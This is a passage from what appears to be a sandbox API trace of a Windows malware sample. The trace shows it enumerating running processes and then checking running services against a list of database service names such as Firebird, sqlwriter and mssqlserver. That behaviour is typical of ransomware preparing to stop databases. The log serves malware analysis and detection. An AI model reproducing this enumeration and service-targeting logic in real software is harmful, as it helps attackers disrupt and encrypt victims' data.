dwFlags=0x0, szExeFile="System")) returned 1 [0263.051] lstrlenW (lpString="System") returned 6 [0263.051] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.052] lstrlenW (lpString="smss.exe") returned 8 [0263.052] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.053] lstrlenW (lpString="csrss.exe") returned 9 [0263.053] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.054] lstrlenW (lpString="wininit.exe") returned 11 [0263.054] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.055] lstrlenW (lpString="csrss.exe") returned 9 [0263.056] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.057] lstrlenW (lpString="winlogon.exe") returned 12 [0263.057] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.058] lstrlenW (lpString="services.exe") returned 12 [0263.058] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.059] lstrlenW (lpString="lsass.exe") returned 9 [0263.059] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0263.060] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0263.060] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0263.061] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0263.061] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.062] lstrlenW (lpString="svchost.exe") returned 11 [0263.062] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.063] lstrlenW (lpString="svchost.exe") returned 11 [0263.063] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.064] lstrlenW (lpString="dwm.exe") returned 7 [0263.064] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.066] lstrlenW (lpString="svchost.exe") returned 11 [0263.066] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.067] lstrlenW (lpString="svchost.exe") returned 11 [0263.067] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.068] lstrlenW (lpString="svchost.exe") returned 11 [0263.068] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.069] lstrlenW (lpString="svchost.exe") returned 11 [0263.069] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.070] lstrlenW (lpString="svchost.exe") returned 11 [0263.070] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.071] lstrlenW (lpString="svchost.exe") returned 11 [0263.071] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.072] lstrlenW (lpString="svchost.exe") returned 11 [0263.072] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.073] lstrlenW (lpString="svchost.exe") returned 11 [0263.073] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.074] lstrlenW (lpString="svchost.exe") returned 11 [0263.074] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.075] lstrlenW (lpString="svchost.exe") returned 11 [0263.075] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.076] lstrlenW (lpString="spoolsv.exe") returned 11 [0263.076] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.077] lstrlenW (lpString="svchost.exe") returned 11 [0263.077] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.078] lstrlenW (lpString="audiodg.exe") returned 11 [0263.078] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0263.079] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0263.079] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0263.439] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0263.439] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0263.440] lstrlenW (lpString="Memory Compression") returned 18 [0263.440] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.441] lstrlenW (lpString="svchost.exe") returned 11 [0263.441] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0263.442] lstrlenW (lpString="sihost.exe") returned 10 [0263.442] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0263.442] lstrlenW (lpString="MDMAgent.exe") returned 12 [0263.442] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0263.443] lstrlenW (lpString="taskhostw.exe") returned 13 [0263.443] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0263.444] lstrlenW (lpString="msoia.exe") returned 9 [0263.444] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.444] lstrlenW (lpString="explorer.exe") returned 12 [0263.445] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0263.445] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0263.445] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0263.446] lstrlenW (lpString="SearchUI.exe") returned 12 [0263.446] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0263.447] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0263.447] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0263.448] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0263.448] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0263.526] lstrlenW (lpString="chrome64b.exe") returned 13 [0263.526] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0263.527] lstrlenW (lpString="cmd.exe") returned 7 [0263.527] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0263.528] lstrlenW (lpString="conhost.exe") returned 11 [0263.528] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.528] lstrlenW (lpString="svchost.exe") returned 11 [0263.528] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0263.529] lstrlenW (lpString="mode.com") returned 8 [0263.529] Process32NextW (in: hSnapshot=0x524, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0263.530] CloseHandle (hObject=0x524) returned 1 [0263.530] Sleep (dwMilliseconds=0x1f4) [0264.182] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a220 [0264.183] EnumServicesStatusExW (in: hSCManager=0x69a220, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0264.183] GetLastError () returned 0xea [0264.183] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1cc6) returned 0x4606e00 [0264.183] EnumServicesStatusExW (in: hSCManager=0x69a220, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4606e00, cbBufSize=0x1cc6, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4606e00, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0264.184] CloseServiceHandle (hSCObject=0x69a220) returned 1 [0264.184] lstrlenW (lpString="Appinfo") returned 7 [0264.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0264.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0264.184] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0264.184] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0264.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0264.184] lstrlenW (lpString="AppXSvc") returned 7 [0264.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0264.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0264.184] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0264.184] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0264.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0264.184] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0264.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0264.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0264.185] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0264.185] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0264.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0264.185] lstrlenW (lpString="Audiosrv") returned 8 [0264.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0264.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0264.185] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0264.185] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0264.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0264.185] lstrlenW (lpString="BFE") returned 3 [0264.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0264.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0264.185] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0264.185] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0264.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0264.185] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0264.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0264.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0264.185] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0264.185] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0264.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0264.185] lstrlenW (lpString="CDPSvc") returned 6 [0264.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0264.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0264.185] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0264.185] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0264.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0264.185] lstrlenW (lpString="ClickToRunSvc") returned 13 [0264.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0264.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0264.186] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0264.186] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0264.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0264.186] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0264.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0264.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0264.186] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0264.186] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0264.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0264.186] lstrlenW (lpString="CryptSvc") returned 8 [0264.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0264.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0264.186] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0264.186] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0264.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0264.186] lstrlenW (lpString="DcomLaunch") returned 10 [0264.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0264.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0264.186] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0264.186] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0264.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0264.186] lstrlenW (lpString="DeviceAssociationService") returned 24 [0264.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0264.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0264.186] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0264.186] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0264.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0264.186] lstrlenW (lpString="Dhcp") returned 4 [0264.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0264.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0264.187] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0264.187] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0264.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0264.187] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0264.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0264.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0264.187] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0264.187] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0264.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0264.187] lstrlenW (lpString="Dnscache") returned 8 [0264.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0264.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0264.187] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0264.187] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0264.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0264.187] lstrlenW (lpString="DPS") returned 3 [0264.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0264.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0264.187] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0264.187] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0264.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0264.187] lstrlenW (lpString="DusmSvc") returned 7 [0264.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0264.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0264.187] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0264.187] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0264.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0264.188] lstrlenW (lpString="EventLog") returned 8 [0264.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0264.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0264.188] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0264.188] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0264.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0264.188] lstrlenW (lpString="EventSystem") returned 11 [0264.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0264.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0264.188] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 